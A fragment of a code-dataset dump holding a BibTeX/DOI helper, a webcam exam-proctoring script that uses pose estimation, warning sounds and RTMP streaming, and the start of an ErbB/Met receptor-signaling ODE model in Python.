direct_bibtex_entry_by_doi(doi)\n if entry: \n return entry\n\n # doi could not be resolved\n raise DoiNotFoundException(doi)\n\n\ndef printable_bibtex_entry(entry):\n # converts a dictionary BibTeX entry to LaTeX format\n\n entry_str = bibtex_entry_str(entry)\n parser = BibTexParser()\n parser.customization = homogeneize_latex_encoding\n bib_database = bibtexparser.loads(entry_str, parser = parser)\n return(bib_database.entries[0])\n\n\ndef printable_bibtex_entry_by_doi(doi):\n # returns a BibTex entry in LaTeX format as dictionary or 'None'\n\n entry = storable_bibtex_entry_by_doi(doi)\n if entry:\n return(printable_bibtex_entry(entry))\n else:\n return None\n\n\ndef biblatex_entry_by_doi(doi):\n # returns a BibLateX entry as dictionary or 'None'\n\n entry = printable_bibtex_entry_by_doi(doi)\n if entry:\n entry_str = bibtex_entry_str(entry)\n parser = BibTexParser()\n parser.customization = convert_to_unicode\n \n bib_database = bibtexparser.loads(entry_str, parser=parser)\n \n # convert 'journal' to 'journaltitle'\n for e in bib_database.entries:\n if 'journal' in e.keys():\n e['journaltitle'] = e['journal']\n del e['journal']\n\n bibtex_string = bibtexparser.dumps(bib_database)\n return bibtex_entry_from_str(bibtex_string)\n else:\n return None\n return(bibtex_string)\n","sub_path":"bgc_md/bibtex.py","file_name":"bibtex.py","file_ext":"py","file_size_in_byte":7968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"536673388","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jun 21 11:05:07 2020\r\n\r\n@author: 徐满阳\r\n\"\"\"\r\nimport queue\r\nimport threading\r\nimport cv2\r\nimport subprocess as sp\r\nimport datetime,time\r\nimport math\r\nimport tkinter\r\nimport matplotlib.pyplot as plt\r\n#import sys\r\nfrom playsound import playsound\r\n#import matplotlib.pyplot as plt\r\n#配置文件\r\nprotoFile = './models/pose/coco/pose_deploy_linevec.prototxt'\r\nweightsfile = './models/pose/coco/pose_iter_440000.caffemodel'\r\n#face_cascade = cv2.CascadeClassifier('./models/face.xml')\r\n#eye_cascade = cv2.CascadeClassifier('./models/eye.xml')\r\nnpoints = 18\r\nPOSE_PAIRS = [[1,0],[1,2],[1,5],[2,3],[3,4],[5,6],[6,7],[1,8],[8,9],[9,10],[1,11],[11,12],[12,13],[0,14],[0,15],[14,16],[15,17]]\r\n#加载网络\r\nnet = cv2.dnn.readNetFromCaffe(protoFile,weightsfile)\r\n#读取图片\r\ndef _readImage(file,num):\r\n #im = cv2.imread('./images/'+file+'.jpg')\r\n #(1440*1080)\r\n im = cv2.cvtColor(file,cv2.COLOR_BGR2RGB)\r\n inHeight = im.shape[0] #1440\r\n inWidth = im.shape[1] #1080\r\n netInputsize = (368,368)\r\n #转为inpBlob格式\r\n inpBlob = cv2.dnn.blobFromImage(im,1.0/255,netInputsize,(0,0,0),swapRB=True,crop=False)\r\n #归一化后的图片最为输入传入net网络,然后输出\r\n net.setInput(inpBlob)\r\n output = net.forward() #1*57*46*46\r\n scaleX = float(inWidth) / output.shape[3] #float(1080)/64 = 23.47826086956522\r\n scaleY = float(inHeight)/ output.shape[2] #float(1440)/64 = 31.304347826086957\r\n points = []\r\n threshold = 0.1\r\n tantou=0\r\n boolean=0\r\n for i in range(npoints):\r\n probMap = output[0,i,:,:] #shape(46*46)\r\n minVal,prob,minLoc,point =cv2.minMaxLoc(probMap)\r\n x = scaleX * point[0]\r\n y = scaleY * point[1]\r\n if prob > threshold:\r\n points.append((int(x),int(y)))\r\n else:\r\n if i==16:\r\n tantou=17\r\n elif i==17:\r\n tantou=16\r\n points.append(None)\r\n #points[]最后为18个关键点的坐标\r\n #[(516, 313), (516, 438), (399, 438), (375, 626), (352, 751), (610, 438), (633, 594), (657, 751), (446, 751),\r\n # (446, 970), (446, 1158), (563, 782), (540, 1001), (540, 1064), (493, 281), (540, 281), (446, 313), (563, 313)]\r\n\r\n imPoints = im.copy()\r\n #imSkeleton = im.copy()\r\n for i,p in enumerate(points):\r\n #enumerate把points的值前面带上索引i\r\n if points[i]!=None:\r\n cv2.circle(imPoints,p,8,(255,255,0),thickness=1,lineType=cv2.FILLED)\r\n cv2.putText(imPoints,'{}'.format(i),p,cv2.FONT_HERSHEY_SIMPLEX,1,(255,0,0),2,lineType=cv2.LINE_AA)\r\n \"\"\"\r\n for pair in POSE_PAIRS:\r\n partA = pair[0]\r\n partB = pair[1]\r\n #if points[partA] and points[partB]:\r\n cv2.line(imSkeleton,points[partA],points[partB],(255, 255,0),2)\r\n cv2.circle(imSkeleton, points[partA],8,(255,0,0),thickness=-1, lineType=cv2.FILLED)\r\n \"\"\"\r\n music='tantou.mp3'\r\n info='请勿交头接耳'\r\n #检测探头\r\n if tantou!=0 and points[tantou]!=None and points[1]!=None:\r\n dy=abs(points[tantou][0]-points[1][0])\r\n dx=abs(points[tantou][1]-points[1][1])\r\n angle=math.atan2(dy,dx)\r\n #print(points[tantou],points[0])\r\n angle=int(angle*180/math.pi)\r\n #print(file,angle,dx,dy)\r\n if angle<15:\r\n #print(num,'请勿交头接耳',datetime.datetime.now())#tkinter.messagebox.showwarning('警告','请勿交头接耳')#\r\n #threading.Thread(target=playsound, args=(\"tantou.mp3\",)).start()\r\n boolean=1\r\n count0=0\r\n if points[0]!=None:count0+=1\r\n for i in range(14, 18):\r\n if points[i]!=None:count0+=1\r\n count1=0\r\n for i in range(1, 8):\r\n if points[i]!=None:count1+=1\r\n #if (points[0]==None or points[14]==None or points[15]==None)and(points[1]!=None or points[2]!=None or points[5]!=None):\r\n if count0<3 and count1>=2:\r\n #print(num,'别睡了,起来嗨',datetime.datetime.now())#tkinter.messagebox.showinfo('提示','别睡了起来嗨')#\r\n #threading.Thread(target=playsound, args=(\"tantou.mp3\",)).start()\r\n #th.setDaemon(True)\r\n #th.start()\r\n music='tantou.mp3'\r\n info='别睡了起来嗨'\r\n boolean=1\r\n #if points[0]==None or points[1]==None or points[2]==None or points[5]==None or points[14]==None or points[15]==None or points[16]==None or points[17]==None:\r\n if count0<3 and count1<2:\r\n #print(num,'人呢',datetime.datetime.now())#tkinter.messagebox.showinfo('提示','人呢')#\r\n #threading.Thread(target=playsound, args=(\"yinxiao.mp3\",)).start()\r\n #th.setDaemon(True)\r\n #th.start()\r\n music='yinxiao.mp3'\r\n info='人呢'\r\n boolean=1\r\n if points[4]==None and points[7]==None:\r\n #print(num,'手呢',datetime.datetime.now())#tkinter.messagebox.showinfo('提示','手呢')#\r\n #threading.Thread(target=playsound, args=(\"yinxiao.mp3\",)).start()\r\n #th.setDaemon(True)\r\n #th.start()\r\n music='yinxiao.mp3'\r\n info='手呢'\r\n boolean=1\r\n #ths=[\r\n #threading.Thread(target=playsound, args=(music,)),\r\n #threading.Thread(target=tkinter.messagebox.showinfo,args=('提示',info))]\r\n #[thread.setDaemon(True) for thread in ths]\r\n #[thread.start() for thread in ths]\r\n if boolean==1:\r\n #cv2.putText(imPoints,'别睡了',(100,150),cv2.FONT_HERSHEY_SIMPLEX,1,(255,0,0),2,lineType=cv2.LINE_AA)\r\n print(num,info,datetime.datetime.now())\r\n threading.Thread(target=playsound, args=(music,)).start()\r\n plt.figure('提示:'+info,figsize=(3,2))\r\n plt.axis('off')#;plt.imshow(imPoints)\r\n #plt.title(r'注意:'+info,fontproperties='SimHei',fontsize=25)\r\n plt.show()\r\n cv2.imwrite('./images/'+'res'+str(num)+'.jpg',imPoints)\r\n time.sleep(2)\r\n #else:\r\n #cv2.imwrite('./images/res/'+'res'+str(num)+'.jpg',imPoints)\r\n #plt.subplot(121)\r\n #plt.subplot(122)\r\n #plt.axis('off');plt.imshow(imSkeleton)\r\n #cv2.imwrite('D:/openpose-master/images/'+'res'+str(file)+'.jpg',imPoints)\r\n#def showInfo(string):\r\n #tkinter.messagebox.showinfo('提示',string)\r\nclass Live(object):\r\n def __init__(self):\r\n self.frame_queue = queue.Queue()\r\n #self.frame_queueC = queue.Queue()\r\n self.frame_queueS = queue.Queue()\r\n self.command = \"\"\r\n # 自行设置\r\n self.rtmpUrl = \"rtmp://106.54.116.250:1935/live/hwtadie\"\r\n self.camera_path = 0\r\n self.count=0\r\n self.cap = cv2.VideoCapture(self.camera_path)\r\n self.cap.set(3,640)\r\n self.cap.set(4,480)\r\n self.start=datetime.datetime.now()\r\n self.end=datetime.datetime.now()\r\n #self.start1=datetime.datetime.now()\r\n #self.end1=datetime.datetime.now()\r\n #self.bool=0\r\n self.flag=0\r\n def read_frame(self):\r\n print(\"开启推流\")\r\n # Get video information\r\n fps = 25#int(cap.get(cv2.CAP_PROP_FPS))\r\n width = 640#int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\r\n height = 480#int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\n # ffmpeg command\r\n self.command = ['ffmpeg',\r\n '-y',\r\n '-f', 'rawvideo',\r\n '-vcodec','rawvideo',\r\n '-pix_fmt', 'bgr24',\r\n '-s', \"{}x{}\".format(width, height),\r\n '-r', str(fps),\r\n '-i', '-',\r\n '-c:v', 'libx264',\r\n '-pix_fmt', 'yuv420p',\r\n '-preset', 'ultrafast',\r\n '-f', 'flv',\r\n self.rtmpUrl]\r\n\r\n # read webcamera\r\n while(self.cap.isOpened()):\r\n ret, frame = self.cap.read()\r\n if not ret:\r\n print(\"Opening camera is failed\")\r\n # 说实话这里的break应该替换为:\r\n # cap = cv2.VideoCapture(self.camera_path)\r\n # 因为我这俩天遇到的项目里出现断流的毛病\r\n # 特别是拉取rtmp流的时候!!!!\r\n break\r\n # put frame into queue\r\n #if self.bool==0:self.bool=1\r\n self.frame_queue.put(frame)\r\n self.frame_queueS.put(frame)#cv2.imshow(\"frame\",frame)\r\n #gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n # 人脸检测,1.2和2分别为图片缩放比例和需要检测的有效点数\r\n #faceRects = classfier.detectMultiScale(gray, scaleFactor=1.2, minNeighbors=3, minSize=(32, 32))\r\n #if len(faceRects) > 0: # 大于0则检测到人脸\r\n #for faceRect in faceRects: # 单独框出每一张人脸\r\n #x, y, w, h = faceRect\r\n #cv2.rectangle(frame, (x - 10, y - 10), (x + w + 10, y + h + 10), (0, 255, 0), 2)\r\n # 展示结果\r\n #cv2.imshow('frame', frame)\r\n #if cv2.waitKey(1) & 0xFF == ord('q'): # 按q键退出\r\n #break\r\n # process frame\r\n # 你处理图片的代码\r\n self.end=datetime.datetime.now()\r\n if self.count==0 or (self.end-self.start).seconds>=3:\r\n print(self.count,'-----捕捉照片-----',datetime.datetime.now())\r\n self.start=self.end\r\n th=threading.Thread(target=_readImage, args=(frame,str(self.count)))#self.frame_queueC.put(frame)#cv2.imwrite('D:/openpose-master/images/'+str(self.count)+'.jpg',frame)\r\n th.setDaemon(True)\r\n th.start()\r\n self.count+=1#print(self.count,datetime.datetime.now())#print('2--',self.start,self.end)\r\n\r\n def push_frame(self):\r\n # 防止多线程时 command 未被设置\r\n while True:\r\n if len(self.command) > 0:\r\n # 管道配置\r\n p = sp.Popen(self.command, stdin=sp.PIPE)\r\n break\r\n while True:\r\n if self.frame_queue.empty() != True:\r\n frame = self.frame_queue.get()\r\n p.stdin.write(frame.tostring())\r\n def show(self):\r\n #time.sleep(1)\r\n while True:\r\n if self.frame_queueS.empty()!=True:\r\n frame=self.frame_queueS.get()\r\n '''\r\n self.end1=datetime.datetime.now()\r\n if (self.end1-self.start1).seconds>=3:\r\n #print('1--',self.start,self.end)\r\n self.start1=self.end1\r\n faces=face_cascade.detectMultiScale(frame, 1.3, 2)\r\n #img=frame\r\n if len(faces)==0:\r\n print('脸呢')\r\n playsound('tantou.mp3')\r\n for (x,y,w,h) in faces:\r\n #frame=cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2)\r\n face_area=frame[y:y+h,x:x+w]\r\n eyes = eye_cascade.detectMultiScale(face_area,1.3,10)\r\n if len(eyes)==0:\r\n print('眼呢')\r\n playsound('yinxiao.mp3')\r\n #for (ex,ey,ew,eh) in eyes:\r\n #画出人眼框,绿色,画笔宽度为1\r\n #cv2.rectangle(face_area,(ex,ey),(ex+ew,ey+eh),(0,255,0),1)\r\n '''\r\n #gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n #faceRects = classfier.detectMultiScale(gray, scaleFactor=1.2, minNeighbors=3, minSize=(32, 32))\r\n #if len(faceRects) > 0: # 大于0则检测到人脸\r\n #for faceRect in faceRects: # 单独框出每一张人脸\r\n #x, y, w, h = faceRect\r\n #cv2.rectangle(frame, (x - 10, y - 10), (x + w + 10, y + h + 10), (0, 255, 0), 2)\r\n #else:\r\n #print('快回来考试')\r\n #playsound(\"tantou.mp3\")\r\n cv2.imshow(\"capture\",frame)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n def handle(self,delay):\r\n count=0\r\n while True:\r\n time.sleep(delay)\r\n if self.frame_queueC.empty()!=True:\r\n print(count,'开始处理照片',datetime.datetime.now())\r\n th=threading.Thread(target=_readImage, args=(self.frame_queueC.get(),str(count)))\r\n th.setDaemon(True)\r\n th.start()\r\n #print('-------------',count,datetime.datetime.now())\r\n #_readImage(self.frame_queueC.get(),str(count))\r\n count+=1\r\n if self.flag==1:\r\n print('停止处理')\r\n break\r\n def warning(self):\r\n for i in range(10):\r\n time.sleep(30)\r\n playsound('time.mp3')\r\n if self.flag==1:\r\n print('停止计时')\r\n break\r\n def run(self):\r\n print(\"开启线程\")\r\n threads = [\r\n threading.Thread(target=Live.read_frame, args=(self,)),\r\n threading.Thread(target=Live.push_frame, args=(self,)),\r\n #threading.Thread(target=Live.handle, args=(self,4)),\r\n threading.Thread(target=Live.warning, args=(self,)),\r\n threading.Thread(target=Live.show, args=(self,))\r\n ]\r\n [thread.setDaemon(True) for thread in threads]\r\n self.start=datetime.datetime.now()\r\n #self.start1=datetime.datetime.now()\r\n [thread.start() for thread in threads]\r\n '''\r\n while True:\r\n if self.bool==1:\r\n if self.frame_queueS.empty()!=True:\r\n cv2.imshow(\"监控\",self.frame_queueS.get())\r\n if flag==1:\r\n cv2.destroyAllWindows()\r\n break\r\n '''\r\nlive=Live()\r\nlive.run()\r\nprint('按0结束')\r\nstring=input()\r\nif string=='0':\r\n live.flag=1\r\n live.cap.release()\r\n cv2.destroyAllWindows()\r\nelse:\r\n print(string)\r\n\r\n","sub_path":"声音图像处理/实验/后/实验1/code/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":13979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"457283200","text":"\nimport sys\nimport os\n\nfrom name2idx import parameters as C\nfrom name2idx import species as V\ndef diffeq(y, t, *x):\n\n v = [0.0]*114\n # Rate equations\n ## Production\n #v[1] = x[C.EGFR_prod]\n v[1] = 2*(x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/(x[C.init_RTKph]* x[C.pEGFR_phosphatase_binding]+ x[C.pEGFR_degradation]))* \\\n x[C.pEGFR_degradation]+ (x[C.EGFR_ErbB2_basal_act]*\tx[C.init_EGFR]*\tx[C.init_ErbB2]/(x[C.init_RTKph]* x[C.pErbB12i_phosphatase]\t+ \\\n x[C.pErbB12_degradation]))* x[C.pErbB12_degradation]+ (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* x[C.init_ErbB3]/ (x[C.init_RTKph]* \\\n x[C.pErbB13i_phosphatase]+ x[C.pErbB13_degradation]))* x[C.pErbB13_degradation]+ (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n (x[C.init_RTKph]* x[C.pMetEGFRi_phosphatase]+x [C.pMetEGFR_degradation]))* x[C.pMetEGFR_degradation]\n #v[2] = x[C.ErbB2_prod]\n v[2] = (x[C.EGFR_ErbB2_basal_act]* x[C.init_EGFR]* x[C.init_ErbB2]/ (x[C.init_RTKph]* x[C.pErbB12i_phosphatase]\t+ x[C.pErbB12_degradation]))* \\\n x[C.pErbB12_degradation]+ 2*(x[C.ErbB2_dimerize]* x[C.init_ErbB2]**2/ (x[C.init_RTKph]* x[C.pErbB2i_phosphatase]+ x[C.pErbB2_degradation]))* \\\n x[C.pErbB2_degradation]+ (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/\t(x[C.init_RTKph]* x[C.pErbB32i_phosphatase]+ \\\n x[C.pErbB32_degradation]))* x[C.pErbB32_degradation]\n #v[3] = x[C.ErbB3_prod]\n v[3] = (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]*\tx[C.init_ErbB3]/(x[C.init_RTKph]* x[C.pErbB13i_phosphatase]+ x[C.pErbB13_degradation]))* \\\n x[C.pErbB13_degradation]+ (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ (x[C.init_RTKph]* x[C.pErbB32i_phosphatase]+ \\\n x[C.pErbB32_degradation]))*\tx[C.pErbB32_degradation]+ (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ (x[C.init_RTKph]* \\\n x[C.pMetErbB3i_phosphatase]+ x[C.pMetErbB3_degradation]))* x[C.pMetErbB3_degradation]\n #v[4] = x[C.IGF1R_prod]\n v[4] = 2* (x[C.IGF1R_basal_activation]*\tx[C.init_IGF1R]**2/ (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+ x[C.pIGF1R_degradation]))* x[C.pIGF1R_degradation]\n #v[5] = x[C.Met_prod]\n v[5] = (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ (x[C.init_RTKph]* x[C.pMetEGFRi_phosphatase]+ x[C.pMetEGFR_degradation]))* \\\n x[C.pMetEGFR_degradation]+\t(x[C.Met_ErbB3_basal_act]*\tx[C.init_ErbB3]* x[C.init_Met]/\t(x[C.init_RTKph]* x[C.pMetErbB3i_phosphatase]+ \\\n x[C.pMetErbB3_degradation]))* x[C.pMetErbB3_degradation]+ 2*(x[C.Met_basal_act]* x[C.init_Met]**2/ (x[C.init_RTKph]* x[C.pMeti_phosphatase]\t+\t\\\n x[C.pMet_degradation]))* x[C.pMet_degradation]\n\n ## Ligand binding\n v[6] = y[V.EGFR]* x[C.EGFR_lig_binding]* y[V.dose_EGF]\n v[7] = y[V.EGFR_EGF]* x[C.EGFR_lig_binding]* x[C.EGF_kD]\n v[8] = y[V.EGFR]* x[C.EGFR_BTC_binding]* y[V.dose_BTC]\n v[9] = y[V.EGFR_BTC]* x[C.EGFR_BTC_binding]* x[C.EGF_kD]\n\n v[10] = y[V.ErbB3]* x[C.ErbB3_lig_binding]* y[V.dose_HRG] \n v[11] = y[V.ErbB3_HRG]* x[C.ErbB3_lig_binding]* x[C.HRG_kD]\n v[12] = y[V.IGF1R]* x[C.IGF1R_lig_binding]* y[V.dose_IGF1]\n v[13] = y[V.IGF1R_IGF1]* x[C.IGF1R_lig_binding]* x[C.IGF1_kD]\n v[14] = y[V.Met]* x[C.Met_lig_binding]* y[V.dose_HGF]\n v[15] = x[C.HGF_kD]* y[V.Met_HGF]* x[C.Met_lig_binding]\n\n ##Dimerization\n v[16] = (y[V.EGFR_EGF]**2)* x[C.EGFR_dimerize]\n v[17] = (y[V.EGFR_BTC]**2)* x[C.EGFR_BTC_dimerize]\n\n v[18] = (y[V.ErbB2]**2)* x[C.ErbB2_dimerize]\n\n v[19] = (y[V.ErbB3_HRG]**2)* x[C.ErbB3_dimerize]\n\n v[20] = (y[V.IGF1R_IGF1]**2)* x[C.IGF1R_dimerize]\n\n v[21] = y[V.EGFR_EGF]* x[C.EGFR_ErbB2_dimerize]* y[V.ErbB2]\n v[22] = y[V.EGFR_BTC]* x[C.EGFR_ErbB2_BTC_dimerize]* y[V.ErbB2]\n\n v[23] = y[V.EGFR_EGF]* x[C.EGFR_ErbB3_dimerize]* y[V.ErbB3_HRG]\n v[24] = y[V.EGFR_BTC]* x[C.EGFR_ErbB3_BTC_dimerize]* y[V.ErbB3_HRG]\n #v[25] = y[V.EGFR_BTC]* x[V.EGFR_ErbB3_dimerize_noHRG]* y[V.ErbB3]\n\n v[26] = y[V.ErbB2]* x[C.ErbB2_ErbB3_dimerize]* y[V.ErbB3_HRG]\n\n v[27] = (y[V.Met_HGF]**2)* x[C.Met_dimerize]\n\n v[28] = y[V.ErbB3_HRG]* y[V.Met]* x[C.Met_ErbB3_dimerize]\n\n v[29] = y[V.ErbB3_HRG]* y[V.Met_HGF]* x[C.Met_lig_ErbB3_dimerize]\n\n v[30] = y[V.EGFR_EGF]* x[C.Met_EGFR_dimerize]* y[V.Met_HGF]\n v[31] = y[V.EGFR_BTC]* x[C.Met_EGFR_BTC_dimerize]* y[V.Met_HGF]\n\n ##Basal phosphorylations\n v[32] = (y[V.EGFR]**2)* x[C.EGFR_basal_activation]\n v[33] = (y[V.ErbB3]**2)* x[C.ErbB3_basal_activation]\n v[34] = (y[V.IGF1R]**2)* x[C.IGF1R_basal_activation]\n\n v[35] = y[V.EGFR]* x[C.EGFR_ErbB2_basal_act]* y[V.ErbB2]\n v[36] = y[V.EGFR]* x[C.EGFR_ErbB3_basal_act]* y[V.ErbB3]\n v[37] = y[V.ErbB2]* y[V.ErbB3]* x[C.ErbB3_ErbB2_basal_act]\n v[38] = y[V.ErbB3]* y[V.Met]* x[C.Met_ErbB3_basal_act]\n v[39] = (y[V.Met]**2)*x[C.Met_basal_act]\n v[40] = y[V.EGFR]* y[V.Met]* x[C.Met_EGFR_basal_act]\n\n ##Phosphorylation\n ###EGFR homodimers\n v[41] = x[C.pEGFR_internalize]* y[V.pEGFRd]\n v[42] = x[C.pEGFR_degradation]* y[V.pEGFRi]\n v[43] = y[V.RTKph]* x[C.pEGFR_phosphatase_binding]* y[V.pEGFRi]\n v[44] = x[C.pEGFRi_dephosph]* y[V.pEGFRi_ph]\n v[45] = x[C.EGFR_basal_recycle]* y[V.EGFRi]\n\n ###ErbB2 homodimers\n v[46] = y[V.pErbB2]* x[C.pErbB2_internalize]\n v[47] = y[V.RTKph]* y[V.pErbB2i]* x[C.pErbB2i_phosphatase]\n v[48] = x[C.pErbB2i_dephosph]* y[V.pErbB2i_ph]\n v[49] = x[C.pErbB2_degradation]* y[V.pErbB2i]\n v[50] = x[C.ErbB2_recycle]* y[V.ErbB2i]\n\n ###ErbB3 homodimers\n v[51] = x[C.pErbB3_internalize]* y[V.pErbB3d]\n v[52] = x[C.pErbB3_degradation]* y[V.pErbB3i]\n v[53] = y[V.RTKph]* y[V.pErbB3i]* x[C.pErbB3i_phosphatase]\n v[54] = x[C.pErbB3i_dephosph]* y[V.pErbB3i_ph]\n v[55] = x[C.ErbB3_basal_recycle]* y[V.ErbB3i]\n\n ###IGF1R homodimers\n v[56] = x[C.pIGF1R_internalize]* y[V.pIGF1Rd]\n v[57] = x[C.pIGF1R_degradation]* y[V.pIGF1Ri]\n v[58] = y[V.RTKph]* y[V.pIGF1Ri]* x[C.pIGF1Ri_phosphatase]\n v[59] = x[C.pIGF1Ri_dephosph]* y[V.pIGF1Ri_ph]\n v[60] = x[C.IGF1R_basal_recycle]* y[V.IGF1Ri]\n\n ###EGFR-ErbB2 heterodimers\n v[61] = y[V.pErbB12]* x[C.pErbB12_internalize]\n v[62] = x[C.pErbB12_degradation]* y[V.pErbB12i]\n v[63] = y[V.RTKph]* y[V.pErbB12i]* x[C.pErbB12i_phosphatase]\n v[64] = x[C.pErbB12i_dephosph]* y[V.pErbB12i_ph]\n\n ###ErbB2 - ErbB3 heterodimers\n v[65] = y[V.pErbB32]* x[C.pErbB32_internalize]\n v[66] = x[C.pErbB32_degradation]* y[V.pErbB32i]\n v[67] = y[V.RTKph]* y[V.pErbB32i]* x[C.pErbB32i_phosphatase]\n v[68] = x[C.pErbB32i_dephosph]* y[V.pErbB32i_ph]\n\n ###EGFR-ErbB3 heterodimers\n v[69] = y[V.pErbB13]* x[C.pErbB13_internalize]\n v[70] = x[C.pErbB13_degradation]* y[V.pErbB13i]\n v[71] = y[V.RTKph]* y[V.pErbB13i]* x[C.pErbB13i_phosphatase]\n v[72] = x[C.pErbB13i_dephosph]* y[V.pErbB13i_ph]\n\n ###MET homodimers\n v[73] = x[C.pMet_internalize]* y[V.pMetd]\n v[74] = x[C.pMet_degradation]* y[V.pMeti]\n v[75] = y[V.RTKph]* y[V.pMeti]* x[C.pMeti_phosphatase]\n v[76] = x[C.pMeti_dephosph]* y[V.pMeti_ph]\n v[77] = x[C.Met_recycle]* y[V.Meti]\n\n ###MET-ErbB3 heterodimers\n v[78] = y[V.pMetErbB3]* x[C.pMetErbB3_internalize]\n v[79] = x[C.pMetErbB3_degradation]* y[V.pMetErbB3i]\n v[80] = y[V.RTKph]* y[V.pMetErbB3i]* x[C.pMetErbB3i_phosphatase]\n v[81] = x[C.pMetErbB3i_dephosph]* y[V.pMetErbB3i_ph]\n\n ###MET-EGFR heterodimers\n v[82] = y[V.pMetEGFR]* x[C.pMetEGFR_internalize]\n v[83] = x[C.pMetEGFR_degradation]* y[V.pMetEGFRi]\n v[84] = y[V.RTKph]* y[V.pMetEGFRi]* x[C.pMetEGFRi_phosphatase]\n v[85] = x[C.pMetEGFRi_dephosph]* y[V.pMetEGFRi_ph]\n\n ##DOWNSTREAM\n ###ERK branch !init_pAKT, init_pEGFRd, init_pErbB12,init_pErbB13,init_pErbB32,init_pIGF1Ri, init_pIGF1Rd, init_pMetEGFR=Init_pMET_EGFR, init_pMetErbB3,init_pMetd\n v[86] = (y[V.MEK]* x[C.MEK_phosphorylation_pEGFR]* y[V.pEGFRd])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]* x[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+\tx[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+\tx[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]*\t(x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+\tx[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+\tx[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[87] = (y[V.MEK]* x[C.MEK_phosphorylation_pErbB12]* y[V.pErbB12])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]*\t\\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+\tx[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]*\t(x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+\tx[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]*\t(x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+\tx[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[88] = (y[V.MEK]* x[C.MEK_phosphorylation_pErbB13]* y[V.pErbB13])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]*\t(x[C.AKT_activation_pEGFR]*\t\\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n 